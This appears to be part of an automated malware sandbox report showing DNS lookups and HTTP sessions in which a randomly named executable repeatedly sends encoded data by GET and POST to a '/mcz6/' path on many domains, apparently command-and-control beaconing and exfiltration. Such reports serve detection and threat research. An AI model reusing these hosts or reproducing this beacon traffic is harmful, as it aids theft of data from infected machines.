May 16, 2024 17:18:01.724160910 CEST	1.1.1.1	192.168.2.9	0x1ee6	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
May 16, 2024 17:18:01.724160910 CEST	1.1.1.1	192.168.2.9	0x1ee6	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
May 16, 2024 17:18:46.318281889 CEST	1.1.1.1	192.168.2.9	0xa694	No error (0)	www.dty377.com	dty377.com		CNAME (Canonical name)	IN (0x0001)	false
May 16, 2024 17:18:46.318281889 CEST	1.1.1.1	192.168.2.9	0xa694	No error (0)	dty377.com		3.33.130.190	A (IP address)	IN (0x0001)	false
May 16, 2024 17:18:46.318281889 CEST	1.1.1.1	192.168.2.9	0xa694	No error (0)	dty377.com		15.197.148.33	A (IP address)	IN (0x0001)	false
May 16, 2024 17:19:03.759160042 CEST	1.1.1.1	192.168.2.9	0xa5b3	No error (0)	www.lenslaser.com	lenslaser.com		CNAME (Canonical name)	IN (0x0001)	false
May 16, 2024 17:19:03.759160042 CEST	1.1.1.1	192.168.2.9	0xa5b3	No error (0)	lenslaser.com		162.241.216.140	A (IP address)	IN (0x0001)	false
May 16, 2024 17:19:19.350558996 CEST	1.1.1.1	192.168.2.9	0x2f2c	No error (0)	www.allinone24.shop	allinonestore-567794-react-native.b567794.prod.eastus.az.svc.builder.ai		CNAME (Canonical name)	IN (0x0001)	false
May 16, 2024 17:19:19.350558996 CEST	1.1.1.1	192.168.2.9	0x2f2c	No error (0)	allinonestore-567794-react-native.b567794.prod.eastus.az.svc.builder.ai		57.151.38.169	A (IP address)	IN (0x0001)	false
May 16, 2024 17:19:48.459769011 CEST	1.1.1.1	192.168.2.9	0x603a	No error (0)	www.carliente.com	carliente.com		CNAME (Canonical name)	IN (0x0001)	false
May 16, 2024 17:19:48.459769011 CEST	1.1.1.1	192.168.2.9	0x603a	No error (0)	carliente.com		217.160.0.111	A (IP address)	IN (0x0001)	false
May 16, 2024 17:20:03.037931919 CEST	1.1.1.1	192.168.2.9	0x9287	No error (0)	www.walletweb367.top		91.195.240.123	A (IP address)	IN (0x0001)	false
May 16, 2024 17:20:26.148905993 CEST	1.1.1.1	192.168.2.9	0xef21	No error (0)	www.deaybrid.info		162.0.237.22	A (IP address)	IN (0x0001)	false
May 16, 2024 17:20:39.629744053 CEST	1.1.1.1	192.168.2.9	0x6f1	Name error (3)	www.prizesupermarket.com	none	none	A (IP address)	IN (0x0001)	false
May 16, 2024 17:20:47.707596064 CEST	1.1.1.1	192.168.2.9	0x2fdc	Name error (3)	www.jrksa.info	none	none	A (IP address)	IN (0x0001)	false
May 16, 2024 17:20:55.798949957 CEST	1.1.1.1	192.168.2.9	0x969c	Name error (3)	www.cookedatthebottom.com	none	none	A (IP address)	IN (0x0001)	false
May 16, 2024 17:21:04.290478945 CEST	1.1.1.1	192.168.2.9	0x8a39	No error (0)	www.celebration24.co.uk		103.168.172.37	A (IP address)	IN (0x0001)	false
May 16, 2024 17:21:04.290478945 CEST	1.1.1.1	192.168.2.9	0x8a39	No error (0)	www.celebration24.co.uk		103.168.172.52	A (IP address)	IN (0x0001)	false
May 16, 2024 17:21:20.094080925 CEST	1.1.1.1	192.168.2.9	0xc2c5	No error (0)	www.gledingakademiet.no		104.37.39.71	A (IP address)	IN (0x0001)	false
May 16, 2024 17:21:35.046552896 CEST	1.1.1.1	192.168.2.9	0xb704	Name error (3)	www.alfaspa.net	none	none	A (IP address)	IN (0x0001)	false
May 16, 2024 17:21:43.313507080 CEST	1.1.1.1	192.168.2.9	0xfeb6	No error (0)	www.zwervertjes.be		199.59.243.225	A (IP address)	IN (0x0001)	false
May 16, 2024 17:21:57.805222988 CEST	1.1.1.1	192.168.2.9	0x6c3e	Name error (3)	www.maerealtysg.com	none	none	A (IP address)	IN (0x0001)	false
May 16, 2024 17:22:05.880093098 CEST	1.1.1.1	192.168.2.9	0xb7ad	Name error (3)	www.polhi.lol	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.dty377.com

www.lenslaser.com

www.allinone24.shop

www.carliente.com

www.walletweb367.top

www.deaybrid.info

www.celebration24.co.uk

www.gledingakademiet.no

www.zwervertjes.be

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49713	3.33.130.190	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:18:46.331711054 CEST	470	OUT	GET /mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=D5+pF2/O5onkRgswN5mCVTTvHr6l6Q5GMQdzYj/9XZpkwzi9ddj0crwo6H79wSPqAuXYaDgjxYH65NOwo1DiEBBB3RCutNlD9KPyQG6aNo0jRjsCiw== HTTP/1.1 Host: www.dty377.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
May 16, 2024 17:18:48.392440081 CEST	396	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 16 May 2024 15:18:47 GMT Content-Type: text/html Content-Length: 256 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 2d 78 6c 3d 68 42 6c 6c 42 36 6b 70 34 44 31 64 42 46 4b 26 31 4a 6f 68 3d 44 35 2b 70 46 32 2f 4f 35 6f 6e 6b 52 67 73 77 4e 35 6d 43 56 54 54 76 48 72 36 6c 36 51 35 47 4d 51 64 7a 59 6a 2f 39 58 5a 70 6b 77 7a 69 39 64 64 6a 30 63 72 77 6f 36 48 37 39 77 53 50 71 41 75 58 59 61 44 67 6a 78 59 48 36 35 4e 4f 77 6f 31 44 69 45 42 42 42 33 52 43 75 74 4e 6c 44 39 4b 50 79 51 47 36 61 4e 6f 30 6a 52 6a 73 43 69 77 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?-xl=hBllB6kp4D1dBFK&1Joh=D5+pF2/O5onkRgswN5mCVTTvHr6l6Q5GMQdzYj/9XZpkwzi9ddj0crwo6H79wSPqAuXYaDgjxYH65NOwo1DiEBBB3RCutNlD9KPyQG6aNo0jRjsCiw=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49714	162.241.216.140	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:03.768347025 CEST	732	OUT	POST /mcz6/ HTTP/1.1 Host: www.lenslaser.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.lenslaser.com Referer: http://www.lenslaser.com/mcz6/ Connection: close Content-Length: 193 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 75 72 34 68 55 52 48 36 48 6b 58 37 54 37 75 44 41 77 56 54 58 31 58 64 76 64 34 44 32 46 4c 56 56 41 6e 75 6a 79 34 73 6d 37 4d 36 64 6d 77 54 65 36 2b 34 6c 30 59 68 58 38 30 5a 36 56 57 30 30 35 73 2b 39 50 54 79 46 75 68 50 5a 4e 6c 61 4e 41 4f 6a 38 49 66 44 41 79 53 76 70 2b 50 36 65 43 63 53 70 4a 63 50 4e 39 51 56 2b 51 47 58 6b 6f 55 64 78 2b 6d 38 31 38 36 46 72 72 66 64 72 61 30 50 53 49 38 52 52 6e 76 38 36 42 6d 34 35 65 2b 4c 36 78 78 77 48 68 45 57 74 65 4d 74 4b 56 61 53 6b 48 6c 75 38 33 50 4c 61 58 2b 64 56 55 47 57 72 63 4b 72 4e 71 67 71 Data Ascii: 1Joh=ur4hURH6HkX7T7uDAwVTX1Xdvd4D2FLVVAnujy4sm7M6dmwTe6+4l0YhX80Z6VW005s+9PTyFuhPZNlaNAOj8IfDAySvp+P6eCcSpJcPN9QV+QGXkoUdx+m8186Frrfdra0PSI8RRnv86Bm45e+L6xxwHhEWteMtKVaSkHlu83PLaX+dVUGWrcKrNqgq
May 16, 2024 17:19:05.125972033 CEST	479	IN	HTTP/1.1 404 Not Found Date: Thu, 16 May 2024 15:19:04 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49716	162.241.216.140	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:06.306803942 CEST	756	OUT	POST /mcz6/ HTTP/1.1 Host: www.lenslaser.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.lenslaser.com Referer: http://www.lenslaser.com/mcz6/ Connection: close Content-Length: 217 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 75 72 34 68 55 52 48 36 48 6b 58 37 53 62 2b 44 44 54 39 54 56 56 58 65 6a 39 34 44 2f 6c 4c 52 56 41 62 75 6a 32 4a 70 6d 49 34 36 64 48 73 54 66 37 2b 34 6d 30 59 68 50 4d 30 63 6e 46 57 76 30 35 51 32 39 4f 76 79 46 75 31 50 5a 4a 68 61 4e 33 36 69 2b 59 66 4e 56 69 53 2b 30 4f 50 36 65 43 63 53 70 4a 49 31 4e 39 34 56 2b 67 57 58 6c 4a 55 65 76 75 6d 2f 79 38 36 46 76 72 66 52 72 61 30 39 53 4b 5a 30 52 6c 6e 38 36 41 57 34 2b 50 2b 45 6a 42 77 37 44 68 46 47 6a 63 78 4a 52 6e 61 49 6c 55 4a 6e 71 47 32 73 51 57 65 44 45 6d 50 4e 2b 4c 4b 4d 4b 4e 70 43 63 55 4e 32 62 37 57 67 61 47 74 48 68 66 45 68 58 45 43 52 37 77 3d 3d Data Ascii: 1Joh=ur4hURH6HkX7Sb+DDT9TVVXej94D/lLRVAbuj2JpmI46dHsTf7+4m0YhPM0cnFWv05Q29OvyFu1PZJhaN36i+YfNViS+0OP6eCcSpJI1N94V+gWXlJUevum/y86FvrfRra09SKZ0Rln86AW4+P+EjBw7DhFGjcxJRnaIlUJnqG2sQWeDEmPN+LKMKNpCcUN2b7WgaGtHhfEhXECR7w==
May 16, 2024 17:19:07.694478989 CEST	479	IN	HTTP/1.1 404 Not Found Date: Thu, 16 May 2024 15:19:06 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49717	162.241.216.140	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:08.836431980 CEST	1769	OUT	POST /mcz6/ HTTP/1.1 Host: www.lenslaser.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.lenslaser.com Referer: http://www.lenslaser.com/mcz6/ Connection: close Content-Length: 1229 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 75 72 34 68 55 52 48 36 48 6b 58 37 53 62 2b 44 44 54 39 54 56 56 58 65 6a 39 34 44 2f 6c 4c 52 56 41 62 75 6a 32 4a 70 6d 4a 41 36 63 31 49 54 65 63 69 34 6e 30 59 68 52 38 30 64 6e 46 58 2f 30 35 49 79 39 4f 6a 39 46 73 4e 50 62 71 70 61 4c 44 6d 69 33 59 66 4e 4e 53 54 35 70 2b 50 4b 65 43 4d 57 70 4a 59 31 4e 39 34 56 2b 6d 53 58 73 34 55 65 74 75 6d 38 31 38 36 4a 72 72 66 31 72 61 38 74 53 4b 4d 42 57 57 2f 38 30 41 47 34 38 39 6d 45 38 78 77 35 4f 42 45 44 6a 63 39 57 52 6e 47 71 6c 56 73 49 71 46 57 73 64 42 32 66 52 6d 57 57 36 4b 79 39 4c 4e 4a 55 59 77 73 56 56 35 76 30 44 6d 31 69 30 74 70 78 55 6c 58 6e 6a 71 42 72 4d 38 44 53 67 48 5a 36 77 39 63 39 44 4d 50 72 41 2b 54 4d 30 66 42 57 79 33 76 46 6f 4b 6e 49 38 73 6d 45 36 35 64 72 74 6e 38 2b 49 70 61 38 7a 54 4a 41 75 52 4a 2f 58 7a 32 54 75 49 2b 42 58 39 62 55 4f 31 59 32 43 57 4a 63 33 69 75 58 61 62 2f 79 4e 67 4a 4e 4a 68 47 45 7a 70 77 4f 34 48 34 36 75 49 36 4b 2f 46 5a 57 66 31 32 64 56 76 6a 52 38 4b 66 57 47 [TRUNCATED] Data Ascii: 1Joh=ur4hURH6HkX7Sb+DDT9TVVXej94D/lLRVAbuj2JpmJA6c1ITeci4n0YhR80dnFX/05Iy9Oj9FsNPbqpaLDmi3YfNNST5p+PKeCMWpJY1N94V+mSXs4Uetum8186Jrrf1ra8tSKMBWW/80AG489mE8xw5OBEDjc9WRnGqlVsIqFWsdB2fRmWW6Ky9LNJUYwsVV5v0Dm1i0tpxUlXnjqBrM8DSgHZ6w9c9DMPrA+TM0fBWy3vFoKnI8smE65drtn8+Ipa8zTJAuRJ/Xz2TuI+BX9bUO1Y2CWJc3iuXab/yNgJNJhGEzpwO4H46uI6K/FZWf12dVvjR8KfWGZwKhWKoLiYdiJJUWfeuwhliItm7XCm0rEjbmLxOHpdhHGkDELDS0mXIoY/38wk20LqS6Yje5MyB7ca8xGmqUPhBiKw4KCeMViMab1EkrXdYg1Gp/suuIzCcQWEkYZwwjPHnDn35JwtWaRTvGawdTuTNxJ3eKCe3lsoAqjpyDA0B9pM5PiKRkuHb2TH3dEt37BAKamLMrafIylBNGas7N76hWvSRH+iY3VR1L7Z3oHSY5yP+eX3pV3p16x2FLjITm4/cqpLII05OkHbVHQBQfmwMv7sU86zNLwzgLfgxZWROAXd+ZCmpv/UGZE3sqn/G8+3TVh/l35aYlBVZQawv75H5m4RkvZ+12DcoUrV58b1dVzkhStZOlt2lAZxCVADf70j9iU/YTubAGybD/AkQh3kyUy8jX6Qd12xkBykrCZWW2PjQ8erE0Si7LODg2VDk9MNGC+cvHlIOyttbB05i7aoLd1gMAjg1Om7AIjRE/FKE+Zb+eS/zTJIvk20WUSErNBonD3d7l4ln97iq7eQzl4Q3XLhT6GZUB7gUpgcgef5w0Ywhp5ptpwsHI32HUb0HNaoB4NCvGMlSlNxT/izKK//uMBI6awXl0yhqa59W9jYkl7tJ7seoS42WIaa71K1R3bMglJnmTIK2lT6nIRZs6rteo5RbRg6E2XI [TRUNCATED]
May 16, 2024 17:19:09.538666964 CEST	479	IN	HTTP/1.1 404 Not Found Date: Thu, 16 May 2024 15:19:09 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49718	162.241.216.140	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:11.367878914 CEST	473	OUT	GET /mcz6/?1Joh=jpQBXhuFRU/tY42PEy1MRCLekuE2gkbQLSvL4WMkje8Ac0YXf6PnpjUwWfsjtXOk/4EuhOubIcIRVaFREibl9IXZIQ7kou/2QQYtq6MxCehvw2Hq6A==&-xl=hBllB6kp4D1dBFK HTTP/1.1 Host: www.lenslaser.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
May 16, 2024 17:19:12.440829039 CEST	479	IN	HTTP/1.1 404 Not Found Date: Thu, 16 May 2024 15:19:12 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49719	57.151.38.169	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:19.363163948 CEST	738	OUT	POST /mcz6/ HTTP/1.1 Host: www.allinone24.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.allinone24.shop Referer: http://www.allinone24.shop/mcz6/ Connection: close Content-Length: 193 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 76 58 63 5a 46 74 50 68 45 4b 57 4a 53 37 6f 45 71 4a 4c 49 38 54 31 71 51 55 44 50 32 77 37 48 50 36 5a 65 66 69 69 64 77 4c 69 46 6d 75 74 50 73 6b 37 7a 6a 70 2f 42 66 36 39 57 79 63 35 71 2b 4d 6c 37 6d 32 57 48 47 65 39 70 43 52 59 61 4d 2f 6c 72 4e 39 72 74 4f 38 47 56 49 35 4e 69 64 5a 43 5a 4e 41 4a 58 55 31 2b 37 66 65 77 43 5a 6b 72 49 50 4f 43 5a 44 78 33 51 44 62 41 54 6d 66 31 54 50 6f 34 2f 77 69 63 46 7a 48 69 7a 69 69 64 31 4d 65 30 54 51 4e 69 73 54 56 53 58 41 7a 53 4a 48 62 73 31 41 30 78 4e 65 79 61 46 47 46 35 2f 79 61 68 4f 62 43 69 47 Data Ascii: 1Joh=vXcZFtPhEKWJS7oEqJLI8T1qQUDP2w7HP6ZefiidwLiFmutPsk7zjp/Bf69Wyc5q+Ml7m2WHGe9pCRYaM/lrN9rtO8GVI5NidZCZNAJXU1+7fewCZkrIPOCZDx3QDbATmf1TPo4/wicFzHiziid1Me0TQNisTVSXAzSJHbs1A0xNeyaFGF5/yahObCiG
May 16, 2024 17:19:20.155518055 CEST	345	IN	HTTP/1.1 308 Permanent Redirect Date: Thu, 16 May 2024 15:19:19 GMT Content-Type: text/html Content-Length: 164 Connection: close Location: https://www.allinone24.shop/mcz6 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 38 20 50 65 72 6d 61 6e 65 6e 74 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 38 20 50 65 72 6d 61 6e 65 6e 74 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>308 Permanent Redirect</title></head><body><center><h1>308 Permanent Redirect</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49720	57.151.38.169	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:19:21.898890018 CEST	762	OUT	POST /mcz6/ HTTP/1.1 Host: www.allinone24.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.allinone24.shop Referer: http://www.allinone24.shop/mcz6/ Connection: close Content-Length: 217 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 76 58 63 5a 46 74 50 68 45 4b 57 4a 52 62 59 45 6f 6f 4c 49 39 7a 31 70 4d 6b 44 50 34 51 37 44 50 36 56 65 66 6a 6d 4e 7a 35 57 46 6e 50 64 50 74 67 58 7a 67 70 2f 42 47 4b 39 4b 32 63 35 68 2b 4d 70 46 6d 7a 57 48 47 65 70 70 43 54 41 61 4d 4e 4e 6b 4c 74 72 76 44 63 47 4c 46 5a 4e 69 64 5a 43 5a 4e 41 63 41 55 30 61 37 63 75 41 43 5a 41 33 4c 46 75 43 47 54 68 33 51 4a 37 